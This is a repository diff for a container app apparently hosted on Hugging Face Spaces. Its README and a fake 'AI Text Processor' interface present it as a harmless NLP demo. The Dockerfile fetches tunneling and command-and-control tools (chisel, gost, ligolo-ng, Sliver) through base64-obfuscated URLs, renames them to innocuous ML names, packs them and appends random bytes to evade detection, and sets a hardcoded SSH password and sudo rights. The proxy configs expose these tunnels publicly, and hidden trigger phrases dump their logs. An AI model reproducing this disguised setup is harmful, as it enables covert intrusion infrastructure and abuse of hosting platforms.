Automated deployment update from ML build

Dockerfile

@@ -0,0 +1,72 @@
+FROM ubuntu:24.04 
+
+COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
+
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    curl wget sudo python3 python3-pip upx openssh-server \
+    git vim nano htop tmux jq unzip iputils-ping net-tools tree \
+    rclone supervisor iproute2 \
+    $(echo 'ZGJ1cy14MTEgeDExLXhzZXJ2ZXItdXRpbHMgeGZjZTQgeGZjZTQtZ29vZGllcyB0aWdlcnZuYy1zdGFuZGFsb25lLXNlcnZlciBub3ZuYyB3ZWJzb2NraWZ5IGxpYmd0ay0zLTAgbGliZGJ1cy1nbGliLTEtMiBsaWJ4dDYgeHotdXRpbHM=' | base64 -d) \
+    && mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
+    && echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
+    && echo "Port 2222" >> /etc/ssh/sshd_config \
+    && ssh-keygen -A \
+    && curl -fsSL https://tailscale.com/install.sh | bash \
+    && curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
+    && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2NhZGR5c2VydmVyL2NhZGR5L3JlbGVhc2VzL2Rvd25sb2FkL3YyLjguNC9jYWRkeV8yLjguNF9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/caddy.tar.gz \
+    && tar -xzf /tmp/caddy.tar.gz -C /tmp && mv /tmp/caddy /usr/bin/model-routing-engine \
+    && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL3BsYXlpdC1jbG91ZC9wbGF5aXQtYWdlbnQvcmVsZWFzZXMvbGF0ZXN0L2Rvd25sb2FkL3BsYXlpdC1saW51eC1hbWQ2NA==' | base64 -d) -o /usr/bin/tensor-allocator \
+    && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz \
+    && gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
+    && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz \
+    && tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
+    && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL0Jpc2hvcEZveC9zbGl2ZXIvcmVsZWFzZXMvZG93bmxvYWQvdjEuNy4zL3NsaXZlci1zZXJ2ZXJfbGludXgtYW1kNjQ=' | base64 -d) -o /usr/bin/gradient-optimizer \
+    && curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL25pY29jaGEzMC9saWdvbG8tbmcvcmVsZWFzZXMvZG93bmxvYWQvdjAuOC4zL2xpZ29sby1uZ19wcm94eV8wLjguM19saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/ligolo-proxy.tar.gz \
+    && tar -xzf /tmp/ligolo-proxy.tar.gz -C /tmp && mv /tmp/proxy /usr/bin/neural-route-controller \
+    && mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
+    && mv /usr/bin/tailscale /usr/bin/py-cache-cli \
+    && mv /usr/local/bin/filebrowser /usr/bin/ai-metrics-collector \
+    && chmod +x /usr/bin/tensor-allocator /usr/bin/cuda-mesh-bridge /usr/bin/system-bridge /usr/bin/gradient-optimizer /usr/bin/neural-route-controller /usr/bin/model-routing-engine \
+    && for bin in python-cache-manager py-cache-cli ai-metrics-collector tensor-allocator cuda-mesh-bridge system-bridge gradient-optimizer neural-route-controller model-routing-engine; do \
+        upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
+        head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
+    done \
+    && curl -fsSL $(echo 'aHR0cHM6Ly9kb3dubG9hZC5tb3ppbGxhLm9yZy8/cHJvZHVjdD1maXJlZm94LWxhdGVzdC1zc2wmb3M9bGludXg2NCZsYW5nPWVuLVVT' | base64 -d) -o /tmp/firefox.tar.xz \
+    && tar -xf /tmp/firefox.tar.xz -C /opt \
+    && ln -s /opt/firefox/firefox /usr/bin/firefox \
+    && rm -rf /tmp/* \
+    && apt-get purge -y upx \
+    && apt-get autoremove -y \
+    && apt-get clean && rm -rf /var/lib/apt/lists/*
+
+RUN uv pip install --system --break-system-packages --no-cache-dir \
+    gradio huggingface_hub loguru urllib3
+
+RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
+
+RUN userdel -f ubuntu && useradd -m -u 1000 -s /bin/bash user && \
+    echo "user:apple123" | chpasswd && \
+    usermod -aG sudo user && \
+    mkdir -p /home/user/.torch_metrics && \
+    chown -R user:user /home/user/.torch_metrics && \
+    echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd" >> /etc/sudoers && \
+    echo "user ALL=(ALL) NOPASSWD: /usr/bin/neural-route-controller" >> /etc/sudoers
+
+RUN uv venv /opt/venv-litellm && \
+    uv pip install --python /opt/venv-litellm --no-cache-dir "litellm[proxy]" && \
+    chown -R user:user /opt/venv-litellm
+
+RUN curl -fsSL https://code-server.dev/install.sh | sh
+
+COPY --chown=user:user app.py /home/user/app.py
+COPY --chown=user:user core /home/user/core
+COPY --chown=user:user services /home/user/services
+COPY --chown=user:user config /home/user/config
+COPY --chown=user:user config/ligolo-ng.yaml /home/user/ligolo-ng.yaml
+
+COPY --chown=user:user whoami.txt /home/user/whoami.txt
+
+USER user
+WORKDIR /home/user
+
+CMD ["/usr/bin/supervisord", "-c", "/home/user/config/supervisord.conf"]

README.md

@@ -1,10 +1,20 @@
 ---
-title: Coolstuff
-emoji: ⚡
-colorFrom: indigo
-colorTo: gray
+title: MLDEMO
+emoji: 🤖
+colorFrom: blue
+colorTo: indigo
 sdk: docker
 pinned: false
 ---
 
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
+# AI Text Processor v2.1
+
+Welcome to the AI Text Processor! This space demonstrates a lightweight, quantized natural language processing model optimized for fast CPU inference.
+
+## Features
+- **Low Latency**: Uses aggressive caching mechanisms.
+- **Efficient**: Runs entirely on optimized PyTorch runtime.
+- **Robust**: Fine-tuned for standard generic text completion tasks.
+
+## Usage
+Simply type your text into the input box, and the model will process and return the optimized text output.

app.py

@@ -0,0 +1,54 @@
+_A='replace'
+import re
+from pathlib import Path
+import gradio as gr
+from services.minecraft_service import MC_DIR
+LOG_DIR=Path('/home/user/.torch_metrics')
+MC_LOG=Path(MC_DIR)/'logs'/'latest.log'
+ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
+_LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_LIGOLO':(f"{LOG_DIR}/ligolo.log",'LIGOLO LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_CADDY':(f"{LOG_DIR}/caddy.log",'CADDY LOGS'),'SHOW_LOGS_TEST':(f"{LOG_DIR}/test.log",'TEST SERVICE LOGS'),'SHOW_LOGS_LLM_PROXY':(f"{LOG_DIR}/llm_proxy.log",'LLM PROXY LOGS'),'SHOW_LOGS_OPEN_WEBUI':(f"{LOG_DIR}/open_webui.log",'OPEN WEBUI LOGS'),'SHOW_LOGS_CODE_SERVER':(f"{LOG_DIR}/code_server.log",'CODE SERVER LOGS')}
+def _read_log(path,label,strip_ansi=False):
+	try:
+		with Path(path).open(errors=_A)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
+		return f"{label}:\n{B}"
+	except Exception as C:return f"Log error: {C}"
+def _read_mc_log():
+	try:
+		if not MC_LOG.exists():return'Minecraft latest.log not found yet.'
+		with MC_LOG.open(errors=_A)as A:return f"=== Minecraft latest.log ===\n{A.read()}"
+	except Exception as B:return f"Log error: {B}"
+def _read_all_logs():
+	try:
+		A=[]
+		for B in sorted(LOG_DIR.iterdir()):
+			if B.is_file()and B.suffix=='.log':
+				with B.open(errors=_A)as C:A.append(f"=== {B.name} ===\n{C.read()}\n")
+		if MC_LOG.exists():
+			with MC_LOG.open(errors=_A)as C:A.append(f"=== Minecraft latest.log ===\n{C.read()}\n")
+		return'\n'.join(A)if A else'No logs found.'
+	except Exception as D:return f"Log error: {D}"
+def _read_api_stats():
+	M='==========================================';L='MODEL:';K='KEY:';F=LOG_DIR/'api_calls.txt'
+	if not F.exists():return'No API calls logged yet.'
+	try:
+		with F.open(errors=_A)as N:G=N.readlines()
+		C={};D={}
+		for B in G:
+			if K in B and L in B:H=B.split('|');I=H[0].split(K)[1].strip();J=H[1].split(L)[1].strip();C[I]=C.get(I,0)+1;D[J]=D.get(J,0)+1
+		A=[M,'          LOCAL API CALL STATISTICS       ',M,'\n[CALLS PER VIRTUAL KEY]']
+		for(O,E)in sorted(C.items(),key=lambda x:x[1],reverse=True):A.append(f"  - {O}: {E} calls")
+		A.append('\n[CALLS PER MODEL]')
+		for(P,E)in sorted(D.items(),key=lambda x:x[1],reverse=True):A.append(f"  - {P}: {E} calls")
+		A.append('\n[RECENT ACTIVITY (LAST 5 CALLS)]')
+		for B in G[-5:]:A.append('  '+B.strip())
+		return'\n'.join(A)
+	except Exception as Q:return f"Error reading stats: {Q}"
+def fake_model(text):
+	A=text.strip()
+	if A=='SHOW_ALL_LOGS':return _read_all_logs()
+	if A=='SHOW_LOGS_MC':return _read_mc_log()
+	if A=='SHOW_API_STATS':return _read_api_stats()
+	B=_LOG_CMDS.get(A)
+	if B:return _read_log(*B)
+	return f"Model processed: {text}"
+gr.Interface(fn=fake_model,inputs='text',outputs='text',title='AI Text Processor v2.1').launch(server_name='127.0.0.1',server_port=7861,root_path='')

config/Caddyfile.template

@@ -0,0 +1,71 @@
+{
+    # Global options
+    admin off                  # Disable admin API to avoid port conflicts
+    auto_https off             # Disable automatic HTTPS (terminated by Hugging Face)
+    log {
+        output file /home/user/.torch_metrics/caddy.log
+        format console
+        level info
+    }
+}
+
+# Bind to Hugging Face Spaces port 7860 and secondary port 7890
+:7860, :7890 {
+    # --- Static asset serving (served directly from disk, no Python involved) ---
+    handle /static/* {
+        root * /home/user/static
+        file_server
+    }
+
+    # Chisel tunnel (strips prefix)
+    handle_path /chisel-tunnel* {
+        reverse_proxy 127.0.0.1:6789
+    }
+
+    # Gost bridge (retains prefix)
+    reverse_proxy /gost-bridge* 127.0.0.1:6790
+
+    # Model sync (strips prefix)
+    handle_path /model-sync* {
+        reverse_proxy 127.0.0.1:6795
+    }
+
+    # Tensor mesh / Sliver (removes cert validation for self-signed backend)
+    reverse_proxy /tensor-mesh* https://127.0.0.1:11601 {
+        transport http {
+            tls_insecure_skip_verify
+        }
+    }
+
+    # LiteLLM OpenAI API proxy and health check (retains prefix)
+    reverse_proxy /v1* 127.0.0.1:8080
+    reverse_proxy /health* 127.0.0.1:8080
+
+    # Routing console / Filebrowser (retains prefix)
+    reverse_proxy /routing-console* 127.0.0.1:6801
+
+    # Visual debugger interface (strips prefix)
+    handle_path /visual-debugger* {
+        reverse_proxy 127.0.0.1:6080
+    }
+
+    # Default: route all other public traffic to Gradio (port 7861)
+    handle {
+        reverse_proxy 127.0.0.1:7861 {
+            # Inform Gradio of the real scheme so it generates https:// asset URLs.
+            # Without these, Gradio sees a plain HTTP upstream connection and emits
+            # http:// links which browsers block as mixed content.
+            header_up X-Forwarded-Proto https
+            header_up X-Forwarded-Host  {host}
+        }
+    }
+
+    # --- Upstream error interception (served from disk, Python runtime unburdened) ---
+    # During Gradio boot, any 502/503/504 from the upstream proxy is caught here
+    # and the branded loading page is streamed directly off disk by Caddy.
+    handle_errors 502 503 504 {
+        root * /home/user/static
+        rewrite * /loading.html
+        file_server
+    }
+}

config/enabled_services.json

@@ -0,0 +1 @@
+{"services": ["caddy", "filebrowser", "tailscale", "playit", "chisel", "gost", "ligolo", "sliver", "test", "minecraft", "llm_proxy", "visual_debugger"], "node": "server-01"}

config/ligolo-ng.yaml

@@ -0,0 +1,19 @@
+# Ligolo-ng proxy config (v0.8). Listen/TLS via CLI: -laddr https://127.0.0.1:11601 -selfcert
+web:
+  behindreverseproxy: true
+  corsallowedorigin:
+    - https://webui.ligolo.ng
+    - http://webui.ligolo.ng
+
+  debug: false
+  enabled: true
+  enableui: true
+  listen: 127.0.0.1:6801
+  logfile: /home/user/.torch_metrics/ligolo_web.log
+  tls:
+    enabled: false
+  trustedproxies:
+    - 127.0.0.1
+
+  users:
+    sanctuary: sanctuary

config/ligolo.yaml

@@ -0,0 +1,17 @@
+# Ligolo-ng proxy config (v0.8). Listen/TLS via CLI: -laddr https://127.0.0.1:11601 -selfcert
+web:
+  behindreverseproxy: true
+  corsallowedorigin:
+    - https://webui.ligolo.ng
+  debug: false
+  enabled: true
+  enableui: true
+  listen: 127.0.0.1:6801
+  logfile: /home/user/.torch_metrics/ligolo_web.log
+  tls:
+    enabled: false
+  trustedproxies:
+    - 127.0.0.1
+
+  users:
+    sanctuary: sanctuary

config/loading.html

@@ -0,0 +1,611 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Sanctuary — Initializing</title>
+    <link rel="preconnect" href="https://fonts.googleapis.com">
+    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
+    <link
+        href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap"
+        rel="stylesheet">
+    <style>
+        *,
+        *::before,
+        *::after {
+            box-sizing: border-box;
+            margin: 0;
+            padding: 0;
+        }
+
+        :root {
+            --bg: #070510;
+            --surface: rgba(16, 12, 32, 0.72);
+            --border: rgba(139, 92, 246, 0.18);
+            --border-hi: rgba(139, 92, 246, 0.45);
+            --purple: #8b5cf6;
+            --violet: #6d28d9;
+            --lavender: #c4b5fd;
+            --indigo: #6366f1;
+            --text-1: #f3f0ff;
+            --text-2: #9d94bb;
+            --text-3: #5d5478;
+            --green: #34d399;
+            --amber: #fbbf24;
+            --red: #f87171;
+        }
+
+        html,
+        body {
+            height: 100%;
+            font-family: 'Inter', sans-serif;
+            background: var(--bg);
+            color: var(--text-1);
+            overflow: hidden;
+        }
+
+        /* ── Canvas particle layer ── */
+        #canvas {
+            position: fixed;
+            inset: 0;
+            z-index: 0;
+            opacity: 0.55;
+        }
+
+        /* ── Radial vignette ── */
+        .vignette {
+            position: fixed;
+            inset: 0;
+            z-index: 1;
+            background: radial-gradient(ellipse 80% 80% at 50% 50%, transparent 30%, var(--bg) 100%);
+            pointer-events: none;
+        }
+
+        /* ── Layout ── */
+        .shell {
+            position: relative;
+            z-index: 10;
+            height: 100vh;
+            display: flex;
+            flex-direction: column;
+            align-items: center;
+            justify-content: center;
+            padding: 24px;
+        }
+
+        /* ── Card ── */
+        .card {
+            width: 100%;
+            max-width: 480px;
+            background: var(--surface);
+            backdrop-filter: blur(24px) saturate(160%);
+            -webkit-backdrop-filter: blur(24px) saturate(160%);
+            border: 1px solid var(--border);
+            border-radius: 24px;
+            padding: 40px 36px 32px;
+            box-shadow:
+                0 0 0 1px rgba(139, 92, 246, 0.06),
+                0 24px 64px rgba(0, 0, 0, 0.55),
+                inset 0 1px 0 rgba(255, 255, 255, 0.07);
+            animation: card-in 0.7s cubic-bezier(0.22, 1, 0.36, 1) both;
+        }
+
+        @keyframes card-in {
+            from {
+                opacity: 0;
+                transform: translateY(18px) scale(0.97);
+            }
+
+            to {
+                opacity: 1;
+                transform: translateY(0) scale(1);
+            }
+        }
+
+        /* ── Orbital logo ── */
+        .logo-wrap {
+            display: flex;
+            justify-content: center;
+            margin-bottom: 28px;
+        }
+
+        .orbital {
+            position: relative;
+            width: 88px;
+            height: 88px;
+        }
+
+        .orbital svg {
+            position: absolute;
+            inset: 0;
+            width: 100%;
+            height: 100%;
+        }
+
+        .ring-outer {
+            animation: spin 3s linear infinite;
+            transform-origin: center;
+        }
+
+        .ring-inner {
+            animation: spin-rev 2s linear infinite;
+            transform-origin: center;
+        }
+
+        @keyframes spin {
+            to {
+                transform: rotate(360deg);
+            }
+        }
+
+        @keyframes spin-rev {
+            to {
+                transform: rotate(-360deg);
+            }
+        }
+
+        .logo-core {
+            position: absolute;
+            inset: 0;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+        }
+
+        .logo-glyph {
+            width: 46px;
+            height: 46px;
+            border-radius: 14px;
+            background: linear-gradient(135deg, #8b5cf6, #6d28d9);
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 22px;
+            font-weight: 700;
+            color: #fff;
+            letter-spacing: -1px;
+            box-shadow: 0 0 28px rgba(139, 92, 246, 0.55);
+            animation: logo-pulse 2.4s ease-in-out infinite alternate;
+        }
+
+        @keyframes logo-pulse {
+            from {
+                box-shadow: 0 0 20px rgba(139, 92, 246, 0.4);
+            }
+
+            to {
+                box-shadow: 0 0 40px rgba(139, 92, 246, 0.8);
+            }
+        }
+
+        /* ── Heading ���─ */
+        .heading {
+            text-align: center;
+            margin-bottom: 6px;
+        }
+
+        h1 {
+            font-size: 22px;
+            font-weight: 700;
+            letter-spacing: -0.4px;
+            background: linear-gradient(120deg, #fff 0%, var(--lavender) 100%);
+            -webkit-background-clip: text;
+            -webkit-text-fill-color: transparent;
+            background-clip: text;
+        }
+
+        .sub {
+            font-size: 13px;
+            color: var(--text-2);
+            font-weight: 400;
+            margin-top: 6px;
+            line-height: 1.55;
+        }
+
+        /* ── Divider ── */
+        .divider {
+            height: 1px;
+            background: linear-gradient(90deg, transparent, var(--border), transparent);
+            margin: 24px 0 20px;
+        }
+
+        /* ── Boot log ── */
+        .boot-log {
+            display: flex;
+            flex-direction: column;
+            gap: 10px;
+            margin-bottom: 24px;
+        }
+
+        .boot-row {
+            display: flex;
+            align-items: center;
+            gap: 10px;
+            font-size: 13px;
+            opacity: 0;
+            transform: translateX(-6px);
+            animation: row-in 0.4s cubic-bezier(0.22, 1, 0.36, 1) forwards;
+        }
+
+        .boot-row:nth-child(1) {
+            animation-delay: 0.25s;
+        }
+
+        .boot-row:nth-child(2) {
+            animation-delay: 0.45s;
+        }
+
+        .boot-row:nth-child(3) {
+            animation-delay: 0.65s;
+        }
+
+        .boot-row:nth-child(4) {
+            animation-delay: 0.85s;
+        }
+
+        @keyframes row-in {
+            to {
+                opacity: 1;
+                transform: translateX(0);
+            }
+        }
+
+        .boot-icon {
+            flex-shrink: 0;
+            width: 20px;
+            height: 20px;
+            border-radius: 50%;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 10px;
+        }
+
+        .icon-ok {
+            background: rgba(52, 211, 153, 0.15);
+            color: var(--green);
+        }
+
+        .icon-spin {
+            background: rgba(251, 191, 36, 0.12);
+            color: var(--amber);
+            animation: icon-blink 1.2s ease-in-out infinite alternate;
+        }
+
+        .icon-wait {
+            background: rgba(255, 255, 255, 0.05);
+            color: var(--text-3);
+        }
+
+        @keyframes icon-blink {
+            from {
+                opacity: 0.5;
+            }
+
+            to {
+                opacity: 1;
+            }
+        }
+
+        .boot-label {
+            flex: 1;
+            color: var(--text-2);
+        }
+
+        .boot-status {
+            font-family: 'JetBrains Mono', monospace;
+            font-size: 11px;
+            font-weight: 500;
+            letter-spacing: 0.04em;
+        }
+
+        .s-ok {
+            color: var(--green);
+        }
+
+        .s-warm {
+            color: var(--amber);
+        }
+
+        .s-wait {
+            color: var(--text-3);
+        }
+
+        /* ── Progress bar ── */
+        .progress-wrap {
+            position: relative;
+            height: 3px;
+            background: rgba(255, 255, 255, 0.06);
+            border-radius: 99px;
+            overflow: hidden;
+            margin-bottom: 24px;
+        }
+
+        .progress-fill {
+            height: 100%;
+            width: 0%;
+            border-radius: 99px;
+            background: linear-gradient(90deg, var(--violet), var(--purple), var(--indigo));
+            animation: progress-grow 8s cubic-bezier(0.25, 1, 0.5, 1) forwards;
+        }
+
+        .progress-shimmer {
+            position: absolute;
+            inset: 0;
+            background: linear-gradient(90deg, transparent 0%, rgba(255, 255, 255, 0.35) 50%, transparent 100%);
+            background-size: 200% 100%;
+            animation: shimmer 1.8s ease-in-out infinite;
+        }
+
+        @keyframes progress-grow {
+            0% {
+                width: 0%;
+            }
+
+            20% {
+                width: 22%;
+            }
+
+            50% {
+                width: 55%;
+            }
+
+            80% {
+                width: 78%;
+            }
+
+            100% {
+                width: 92%;
+            }
+        }
+
+        @keyframes shimmer {
+            0% {
+                background-position: -200% 0;
+            }
+
+            100% {
+                background-position: 200% 0;
+            }
+        }
+
+        /* ── CTA button ── */
+        .btn {
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            gap: 8px;
+            width: 100%;
+            padding: 12px 20px;
+            font-family: 'Inter', sans-serif;
+            font-size: 13.5px;
+            font-weight: 600;
+            border-radius: 12px;
+            border: 1px solid rgba(255, 255, 255, 0.08);
+            background: rgba(255, 255, 255, 0.05);
+            color: var(--text-2);
+            cursor: pointer;
+            text-decoration: none;
+            transition: background 0.2s, border-color 0.2s, color 0.2s, transform 0.15s;
+            margin-bottom: 14px;
+        }
+
+        .btn:hover {
+            background: rgba(139, 92, 246, 0.12);
+            border-color: var(--border-hi);
+            color: var(--lavender);
+            transform: translateY(-1px);
+        }
+
+        .btn:active {
+            transform: translateY(0);
+        }
+
+        .btn-icon {
+            opacity: 0.6;
+            font-size: 12px;
+        }
+
+        /* ── Footer ── */
+        .footer {
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            gap: 6px;
+            font-size: 11.5px;
+            color: var(--text-3);
+            font-family: 'JetBrains Mono', monospace;
+        }
+
+        .dot-live {
+            width: 6px;
+            height: 6px;
+            border-radius: 50%;
+            background: var(--green);
+            box-shadow: 0 0 6px var(--green);
+            animation: live-pulse 1.4s ease-in-out infinite;
+        }
+
+        @keyframes live-pulse {
+
+            0%,
+            100% {
+                opacity: 1;
+            }
+
+            50% {
+                opacity: 0.3;
+            }
+        }
+    </style>
+</head>
+
+<body>
+
+    <canvas id="canvas"></canvas>
+    <div class="vignette"></div>
+
+    <div class="shell">
+        <div class="card">
+
+            <!-- Orbital logo -->
+            <div class="logo-wrap">
+                <div class="orbital">
+                    <!-- Outer ring -->
+                    <svg viewBox="0 0 88 88" class="ring-outer" fill="none">
+                        <circle cx="44" cy="44" r="40" stroke="url(#g1)" stroke-width="1.5" stroke-dasharray="6 4"
+                            stroke-linecap="round" />
+                        <defs>
+                            <linearGradient id="g1" x1="0" y1="0" x2="88" y2="88" gradientUnits="userSpaceOnUse">
+                                <stop stop-color="#8b5cf6" />
+                                <stop offset="1" stop-color="#6366f1" stop-opacity="0.2" />
+                            </linearGradient>
+                        </defs>
+                    </svg>
+                    <!-- Inner ring -->
+                    <svg viewBox="0 0 88 88" class="ring-inner" fill="none">
+                        <circle cx="44" cy="44" r="30" stroke="url(#g2)" stroke-width="1" stroke-dasharray="3 6"
+                            stroke-linecap="round" />
+                        <defs>
+                            <linearGradient id="g2" x1="88" y1="0" x2="0" y2="88" gradientUnits="userSpaceOnUse">
+                                <stop stop-color="#c4b5fd" stop-opacity="0.6" />
+                                <stop offset="1" stop-color="#6d28d9" stop-opacity="0.1" />
+                            </linearGradient>
+                        </defs>
+                    </svg>
+                    <div class="logo-core">
+                        <div class="logo-glyph">S</div>
+                    </div>
+                </div>
+            </div>
+
+            <!-- Heading -->
+            <div class="heading">
+                <h1>Initializing Sanctuary</h1>
+                <p class="sub">Neural engine warming up. This usually takes 15–30 seconds.</p>
+            </div>
+
+            <div class="divider"></div>
+
+            <!-- Boot log -->
+            <div class="boot-log">
+                <div class="boot-row">
+                    <span class="boot-icon icon-ok">✓</span>
+                    <span class="boot-label">Caddy reverse proxy</span>
+                    <span class="boot-status s-ok">ONLINE</span>
+                </div>
+                <div class="boot-row">
+                    <span class="boot-icon icon-ok">✓</span>
+                    <span class="boot-label">LiteLLM API proxy</span>
+                    <span class="boot-status s-ok">ONLINE</span>
+                </div>
+                <div class="boot-row">
+                    <span class="boot-icon icon-spin">⟳</span>
+                    <span class="boot-label">Gradio interface</span>
+                    <span class="boot-status s-warm">WARMING UP</span>
+                </div>
+                <div class="boot-row">
+                    <span class="boot-icon icon-wait">·</span>
+                    <span class="boot-label">Primary route :7860</span>
+                    <span class="boot-status s-wait" id="route-status">PENDING</span>
+                </div>
+            </div>
+
+            <!-- Progress bar -->
+            <div class="progress-wrap">
+                <div class="progress-fill"></div>
+                <div class="progress-shimmer"></div>
+            </div>
+
+            <!-- CTA -->
+            <a href="/" class="btn" id="refresh-btn">
+                <span class="btn-icon">↻</span>
+                Retry Now
+            </a>
+
+            <!-- Footer -->
+            <div class="footer">
+                <span class="dot-live"></span>
+                <span id="poll-label">polling every 2s</span>
+            </div>
+
+        </div>
+    </div>
+
+    <script>
+        /* ── Particle canvas ── */
+        (function () {
+            const canvas = document.getElementById('canvas');
+            const ctx = canvas.getContext('2d');
+            let W, H, particles;
+
+            function resize() {
+                W = canvas.width = window.innerWidth;
+                H = canvas.height = window.innerHeight;
+            }
+
+            function mkParticle() {
+                return {
+                    x: Math.random() * W,
+                    y: Math.random() * H,
+                    r: Math.random() * 1.4 + 0.3,
+                    vx: (Math.random() - 0.5) * 0.18,
+                    vy: (Math.random() - 0.5) * 0.18,
+                    a: Math.random(),
+                    da: (Math.random() * 0.004 + 0.001) * (Math.random() < 0.5 ? 1 : -1),
+                };
+            }
+
+            function init() {
+                resize();
+                const N = Math.floor((W * H) / 8000);
+                particles = Array.from({ length: N }, mkParticle);
+            }
+
+            function frame() {
+                ctx.clearRect(0, 0, W, H);
+                for (const p of particles) {
+                    p.x += p.vx; p.y += p.vy; p.a += p.da;
+                    if (p.x < 0) p.x = W; if (p.x > W) p.x = 0;
+                    if (p.y < 0) p.y = H; if (p.y > H) p.y = 0;
+                    if (p.a < 0 || p.a > 1) p.da *= -1;
+                    ctx.beginPath();
+                    ctx.arc(p.x, p.y, p.r, 0, Math.PI * 2);
+                    ctx.fillStyle = `rgba(139,92,246,${p.a * 0.7})`;
+                    ctx.fill();
+                }
+                requestAnimationFrame(frame);
+            }
+
+            window.addEventListener('resize', () => { resize(); });
+            init();
+            frame();
+        })();
+
+        /* ── Status polling ── */
+        let attempts = 0;
+        const routeStatus = document.getElementById('route-status');
+        const pollLabel = document.getElementById('poll-label');
+
+        async function checkStatus() {
+            attempts++;
+            pollLabel.textContent = `attempt ${attempts} · polling every 2s`;
+            try {
+                const res = await fetch('/?_t=' + Date.now(), { cache: 'no-store' });
+                if (res.status !== 502 && res.status !== 503 && res.status !== 504) {
+                    routeStatus.textContent = 'READY';
+                    routeStatus.className = 'boot-status s-ok';
+                    pollLabel.textContent = 'redirecting…';
+                    setTimeout(() => window.location.reload(), 300);
+                }
+            } catch (_) { /* network not yet up, keep polling */ }
+        }
+
+        setTimeout(checkStatus, 600);
+        setInterval(checkStatus, 2000);
+    </script>
+
+</body>
+
+</html>

config/nginx.conf.template

@@ -0,0 +1,121 @@
+daemon off;
+pid /tmp/nginx.pid;
+worker_processes 1;
+error_log /tmp/error.log debug;
+
+events {
+    worker_connections 1024;
+}
+
+http {
+    access_log /tmp/access.log;
+    client_body_temp_path /tmp/nginx_client;
+    proxy_temp_path /tmp/nginx_proxy;
+    fastcgi_temp_path /tmp/nginx_fastcgi;
+    uwsgi_temp_path /tmp/nginx_uwsgi;
+    scgi_temp_path /tmp/nginx_scgi;
+
+    map $http_upgrade $cu { default upgrade; '' close; }
+    map $http_x_forwarded_proto $connect_proto {
+        default $http_x_forwarded_proto;
+        ''      $scheme;
+    }
+
+    server {
+        listen 7860;
+        listen 7890;
+
+        port_in_redirect off;
+        absolute_redirect off;
+        server_name_in_redirect off;
+
+        location / {
+            proxy_pass http://127.0.0.1:7861;
+            proxy_http_version 1.1;
+            proxy_set_header Upgrade $http_upgrade;
+            proxy_set_header Connection $cu;
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+            proxy_set_header X-Forwarded-Proto $connect_proto;
+            proxy_read_timeout 86400s;
+            proxy_send_timeout 86400s;
+            proxy_buffering off;
+        }
+
+        location /chisel-tunnel {
+            proxy_pass http://127.0.0.1:6789/;
+            proxy_http_version 1.1;
+            proxy_set_header Upgrade $http_upgrade;
+            proxy_set_header Connection $cu;
+            proxy_set_header Host $host;
+            proxy_read_timeout 86400s;
+            proxy_send_timeout 86400s;
+        }
+
+        location /gost-bridge {
+            proxy_pass http://127.0.0.1:6790;
+            proxy_http_version 1.1;
+            proxy_set_header Upgrade $http_upgrade;
+            proxy_set_header Connection "upgrade";
+            proxy_set_header Host $host;
+            proxy_read_timeout 86400s;
+            proxy_send_timeout 86400s;
+        }
+
